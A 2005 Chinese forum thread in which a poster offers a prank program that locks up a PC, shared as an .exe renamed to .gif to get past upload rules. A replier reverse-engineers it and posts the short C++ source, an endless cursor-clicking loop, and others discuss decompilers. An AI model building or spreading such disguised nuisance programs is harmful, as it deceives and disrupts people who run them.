下沙论坛
标题: 一个小程序,包你死机(提供原代码) [打印本页]
作者: starson 时间: 2005-6-23 13:50
标题: 一个小程序,包你死机(提供原代码)
刚刚做了个小程序,一运行一定死机。容量300多k吧。不过该程序不是致命,只要重起计算机就行了。* q! L! x+ _- w) s# F9 g
当然如果谁还要更刺激的,也可以让它在启动系统时就自动运行。不过这样就太残忍了,只能重装系统才可能好。我也没法让它恢复。
% Q& O g6 l0 I% Q9 y& r# H 有兴趣的,我可以把程序发给你。记得在运行程序之前一定要先保存好重要文档,程序一运行就得重启,免得丢失自己正在做的文档。9 U' M: `0 Q( ^* M' X
记得回复哦, n3 H+ u: D2 M! M# X- S) x
& {: R) x. z! C% F) a这里可以直接下载,因为程序是exe结尾的,论坛不让上传,所以我把程序的后缀改成.gif了。大家可以直接点右键把图片另存为。之后把文件后缀改回为exe就能执行了
+ w X! ]! E: Q) [" o[此贴子已经被作者于2005-6-23 16:01:23编辑过]
% ^# E2 l9 Z& B; p2 U
作者: starson 时间: 2005-6-23 15:59
有兴趣的记得回帖啊。要原代码的,也可以向我拿。
作者: 柠天欣 时间: 2005-6-24 14:36
恐怖的地点
作者: 夜编程 时间: 2005-6-27 09:05
不得不说这是一个很垃圾的程序。要实现这么一个简单的功能居然编了一个300多K的程序。不就要10来行的代码吗?要做成DLL,只要两行代码就够了。
作者: 夜编程 时间: 2005-6-27 09:44
逆向出来了,也就只是一个死循环,把鼠标移到屏幕的右下角,然后拼命地点那儿,CPU占用率几乎100%,算不上死机,做得很垃圾的一个程序,DELPHI的程序真是恐怖啊,这么一个简单的功能编译出来居然有300多K。
代码如下(C++ API):
DWORD dwX = 0x00000400;//1024楼猪给它定了个死值,认为屏幕一定是1024*800的。
; R. l) \4 ?1 sDWORD dwY = 0x00000320;//800
! h! M! U3 |' Zwhile (TRUE)
5 ^. {0 ]& H0 o' J: P: {: q0 ]{
* ?! Y2 R) C+ O ::SetCursorPos(dwX, dwY);" ^+ P, M c! [. ~- M
mouse_event(MOUSEEVENTF_LEFTDOWN, dwX, dwY, 0, 0);
; I4 i; l4 d) ]5 i& ] mouse_event(MOUSEEVENTF_LEFTUP, dwX, dwY, 0, 0);
9 }. G X* n" N" B; M. ?0 ]}
作者: len4090 时间: 2005-6-27 09:45
汗!好事不做!还做坏事?
作者: 夜编程 时间: 2005-6-27 09:52
楼上的,我技术还可以吧?呵呵,这个也就是楼猪的代码,只不过他是用DELPHI,我是用VC
作者: len4090 时间: 2005-6-27 13:11
我晕!你们啊!哎!没话说!
作者: 夜编程 时间: 2005-6-27 15:16
我又没做坏事,我只是对楼猪的程序做了个逆向而已
作者: len4090 时间: 2005-6-27 17:27
那到也是!楼主坏蛋!呵呵
作者: 游侠无极限 时间: 2005-6-27 18:59
好像之前有个类似这样的死机代码:
while(1)
{
printf("\n\t");
}
作者: len4090 时间: 2005-6-27 20:30
我汗!怎么多来了!
作者: 天之血痕 时间: 2005-6-27 21:11
呵呵 看到不明程序 不运行 就ok了~!
或者用最新带有病毒防护的cpu 也可以防止 死循环死机~!
作者: 游侠无极限 时间: 2005-6-27 21:15
这个程序我放到虚拟机里试的,就是虚拟机变的很卡……,鼠标无法正常选中
作者: starson 时间: 2005-7-1 15:21
这程序原理:就是使鼠标一直单击造成无法人工操作,本身计算机并没死机,只是人工用不了罢了,但这已经达到效果了。
鼠标位置是无所谓的。
程序就两行关键,是随便编的并不求程序容量最小。
不过,说实话,我本人比较佩服 夜编程
你用VC 的啊。好东西。
还有反编译的程序夜编程你有吗,能否说说哪里有的下。
作者: 游侠无极限 时间: 2005-7-1 15:34
你如果是用Delphi的话,用DEde最好了
作者: 笑靥千秋 时间: 2005-7-1 15:53
看看真是恐怖
作者: len4090 时间: 2005-7-1 18:49
呵呵
作者: 夜编程 时间: 2005-7-3 12:48
To starson:
做逆向,我一般用动态的。静态反编译Delphi的程序我用DEDE,VB的程序用SC,VC的程序我用W32DASM,但在动态调试如脱壳或跟踪,我都用OD,有机会可以试试SoftICE
作者: len4090 时间: 2005-7-3 15:50
晕了!
作者: 风斗士 时间: 2005-7-10 21:20
哈哈 不错不错 对偶来说算高手
作者: anct125 时间: 2005-7-17 12:56
huifu
作者: len4090 时间: 2005-7-17 14:26
无聊贴
欢迎光临 下沙论坛 (http://bbs.xiasha.cn/) |
Powered by Discuz! X3.3 |